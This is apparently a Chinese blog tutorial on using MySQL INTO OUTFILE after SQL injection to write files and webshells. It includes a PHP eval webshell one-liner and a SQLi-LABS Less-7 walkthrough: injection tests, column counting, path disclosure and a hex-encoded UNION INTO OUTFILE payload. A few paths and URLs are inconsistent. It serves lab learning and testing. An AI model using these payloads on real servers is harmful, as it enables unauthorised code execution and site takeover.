前言
在利用sql注入漏洞后期,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
- into dumpfile()
- into outfile()
- load_file()
读写文件函数调用的限制。
into outfile
select into outfile
的方法是只能将文件生成在服务器上,而不能生成在客户端上。可以使用mysql -e "select" > /tmp/file
这种重定向的方法,将文件生成在客户端上。
用法:网站数据库为mysql,在sql注入的过程中如果爆出了网站的绝对路径,常规思路会去查看一下mysql中用户权限是否有读写权限。有的话可以对特定目录进行写入shell。
1 | select <shell> into outfile '/tmp/test.php' |
有时会写入失败,是因为启动mysql的时候使用了--secure-file-priv
参数。这个参数的主要目的就是限制 load data infile
或者select into outfile
之类文件的目录位置。
使用 SELECT @@global.secure_file_priv;
查看当前设置的路径,默认为 /var/lib/mysql-files
可以把这个选项关掉,继续测试outfile写入文件权限的问题。在 /etc/mysql/my.cnf
中如下配置,然后重新启动mysql服务
1 | [mysqld] |
load_file
从外部将数据导入到mysql服务器。
load data infile
,则load的文件必须位于mysql服务器上。
load data local infile
,则load的文件必须在客户端上,该语句将从客户端将文件读取并发送到服务器上。
利用outfile getshell
select "contens" into outfile "filename"
满足条件
- 没有运行在
secure-file-priv
模式下 - 对web目录具有读写权限
- 没有被过滤单双引号
- 知道web的物理绝对路径
secure-file-priv
secure_file_priv
可以设置三个参数:空,NULL,filepath
参数说明:
- 空值:设置为空时,没有进行安全配置,那么这模式下应该就可以导出 webshell
- NULL:设置本参数值时,数据库不能进行导入导出
- filepath:filepath 是导入导出的文件路径,设置这个值,那么只能导出文件到 filepath 的路径。
所以需要满足 secure_file_priv
为空或者为 web
路径才可以进行读写操作
可以在
/etc/mysql/my.cnf
配置文件中修改secure-file-priv = ""
(不过都有权限修改配置文件了,还需要这么费劲写木马吗。。)
1 | select "<?php eval($_POST['a2u13']);?>" INTO OUTFILE "/Application/MAMP/htdocs/mysql_shell.php" |
sql-lab实操
注入点判断
1
?id=1’)) - -
时间盲注测试
1
?id=3')) and sleep(5) --+
会延时,所以注入点为
1'))
Order by 判断列数
1
?id=1')) order by 3 --+
当order by 4 的时候会报错,所以列数为3
在此之前需要知道网站的目录情况
利用sql-lab less2 拿到绝对路径
1
http://localhost:8888/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20--+
1
/var/lib/mysql/
可以根据路径判断操作系统为
Linux
,在Linux
下默认的网站路径为/var/www/html
。SQLI-LABS Less-7
靶场的路径为/var/www/sqlilabs/Less-7
)所以oufile文件路径为
1
/var/www/sqlilabs/Less-7/test.php
上传测试一下
1
?id=1')) union select 1,2,database() into outfile '/var/www/Less-7/1.txt' --+
节选:👇
由于版本原因鄙人使用的是5.7.19-0ubuntu0.16.04.1
高版本,官方加了安全策略,这里我们需要更改/etc/mysql/mysql.conf.d/mysqld.cnf
在末尾处添加secure_file_priv="/"
,更改后service mysql restart
重启mysql服务。之后我们从mysql命令行来看策略:
1 | mysql>show variables like '%secure%'; |
复制
我们看到secure_file_priv这里已经变成“/”,此时我们可以写入。
1 | /sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- - //这里我们写入到目录 |
复制
我们来访问刚写入的地方
1 | /sqli-labs/Less-7/?id=1?id=-1')) union select 1,0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,3 into outfile "/var/www/html/sqli-labs/Less-7/test.php" -- - |
复制
这里解释下0x3c3f706870206563686f2027636c65616e726f626f74404368616d6435272e706870696e666f28293b203f3e,这是对语句进行hex编码,为了防止单引号冲突,而导致写入文件失败。
参考文章
https://blog.csdn.net/bnxf00000/article/details/64123549
https://www.jianshu.com/p/bcafd8f3ad8e
Mysql的getshell与提权总结【使用 log 写入 Shell】
https://www.freebuf.com/articles/web/334078.html
https://www.freebuf.com/vuls/334032.html